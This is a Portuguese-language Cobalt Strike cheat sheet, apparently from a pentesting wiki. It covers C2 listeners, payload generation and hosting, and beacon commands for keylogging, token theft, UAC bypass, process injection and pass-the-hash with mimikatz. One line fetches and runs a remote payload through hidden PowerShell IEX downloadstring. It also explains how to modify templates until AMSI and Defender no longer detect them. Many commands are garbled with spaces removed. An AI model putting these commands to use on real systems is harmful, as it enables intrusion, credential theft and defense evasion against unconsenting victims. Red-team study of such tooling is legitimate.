Cobalt Strike -> Listeners -> Add/Edit e você pode selecionar onde ouvir, qual tipo de beacon usar (http, dns, smb...) e mais.
Ouvintes Peer2Peer
Os beacons desses ouvintes não precisam se comunicar diretamente com o C2, eles podem se comunicar com ele por meio de outros beacons.
Cobalt Strike -> Listeners -> Add/Edit e você precisa selecionar os beacons TCP ou SMB
O beacon TCP definirá um ouvinte na porta selecionada. Para se conectar a um beacon TCP, use o comando connect <ip> <port> de outro beacon
O beacon smb ouvirá em um nome de pipe com o nome selecionado. Para se conectar a um beacon SMB, você precisa usar o comando link [target] [pipe].
Gerar e hospedar payloads
Gerar payloads em arquivos
Attacks -> Packages ->
HTMLApplication para arquivos HTA
MS Office Macro para um documento do Office com uma macro
Windows Executable para um .exe, .dll ou serviço .exe
Windows Executable (S) para um stageless .exe, .dll ou serviço .exe (melhor stageless do que staged, menos IoCs)
Gerar e hospedar payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S) Isso gerará um script/executável para baixar o beacon do cobalt strike em formatos como: bitsadmin, exe, powershell e python
Hospedar payloads
Se você já tem o arquivo que deseja hospedar em um servidor web, basta ir para Attacks -> Web Drive-by -> Host File e selecionar o arquivo para hospedar e a configuração do servidor web.
Opções do Beacon
# Executar binário .NET localexecute-assembly</path/to/executable.exe># Capturas de telaprintscreen# Tirar uma única captura de tela via método PrintScrscreenshot# Tirar uma única captura de telascreenwatch# Tirar capturas de tela periódicas da área de trabalho## Vá para View -> Screenshots para vê-las# keyloggerkeylogger [pid] [x86|x64]## View > Keystrokes para ver as teclas pressionadas# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Injetar ação de portscan dentro de outro processo
portscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Importar módulo Powershellpowershell-importC:\path\to\PowerView.ps1powershell<apenasescrevaocomandopowershellaqui># Impersonação de usuário## Geração de token com credenciaismake_token [DOMAIN\user] [password] #Criar token para se passar por um usuário na redels \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computadorrev2self# Pare de usar o token gerado com make_token## O uso de make_token gera o evento 4624: Uma conta foi conectada com êxito. Este evento é muito comum em um domínio do Windows, mas pode ser reduzido filtrando o tipo de logon. Como mencionado acima, ele usa LOGON32_LOGON_NEW_CREDENTIALS que é o tipo 9.
# UAC Bypasselevatesvc-exe<listener>elevateuac-token-duplication<listener>runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## Roubar token de pid## Como make_token, mas roubando o token de um processosteal_token [pid] # Além disso, isso é útil para ações de rede, não ações locais## A partir da documentação da API, sabemos que esse tipo de logon "permite que o chamador clone seu token atual". É por isso que a saída do Beacon diz Impersonated <current_username> - está se passando pelo nosso próprio token clonado.
ls \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computadorrev2self# Pare de usar o token de steal_token## Iniciar processo com novas credenciaisspawnas [domain\username] [password] [listener] #Faça isso a partir de um diretório com acesso de leitura como: cd C:\## Como make_token, isso gerará o evento do Windows 4624: Uma conta foi conectada com êxito, mas com um tipo de logon de 2 (LOGON32_LOGON_INTERACTIVE). Ele detalhará o usuário chamador (TargetUserName) e o usuário se passando (TargetOutboundUserName).
## Injetar em processoinject [pid] [x64|x86] [listener]## Do ponto de vista do OpSec: Não execute injeção entre plataformas, a menos que realmente precise (por exemplo, x86 -> x64 ou x64 -> x86).
## Passar o hash## Este processo de modificação requer a correção da memória LSASS, que é uma ação de alto risco, requer privilégios de administrador local e não é muito viável se o Protected Process Light (PPL) estiver habilitado.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Passar o hash através do mimikatzmimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## Sem /run, mimikatz gera um cmd.exe,```pscp-rroot@kali:/opt/cobaltstrike/artifact-kit/dist-pipe.```Não se esqueça de carregar o script agressivo `dist-pipe\artifact.cna` para indicar ao Cobalt Strike para usar os recursos do disco que queremos e não os carregados.
### Kit de RecursosA pasta ResourceKit contém os modelos para os payloads baseados em script do Cobalt Strike, incluindo PowerShell, VBA e HTA.
Usando o [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) com os modelos, você pode descobrir o que o defensor (AMSI neste caso) não está gostando e modificá-lo:
```.\ThreatCheck.exe-eAMSI-f.\cobaltstrike\ResourceKit\template.x64.ps1```Modificaraslinhasdetectadaspodegerarummodeloquenãoserádetectado.Não se esqueça de carregar o script agressivo `ResourceKit\resources.cna` para indicar ao Cobalt Strike para usar os recursos do disco que queremos e não os carregados.
```bashcdC:\Tools\neo4j\binneo4j.batconsolehttp://localhost:7474/-->Changepasswordexecute-assemblyC:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe-cAll-dDOMAIN.LOCAL# Change powershellC:\Tools\cobaltstrike\ResourceKittemplate.x64.ps1# Change $var_code -> $polop# $x --> $arcobaltstrike-->scriptmanager-->Load-->CargarC:\Tools\cobaltstrike\ResourceKit\resources.cna#artifact kitcdC:\Tools\cobaltstrike\ArtifactKitpscp-rroot@kali:/opt/cobaltstrike/artifact-kit/dist-pipe.```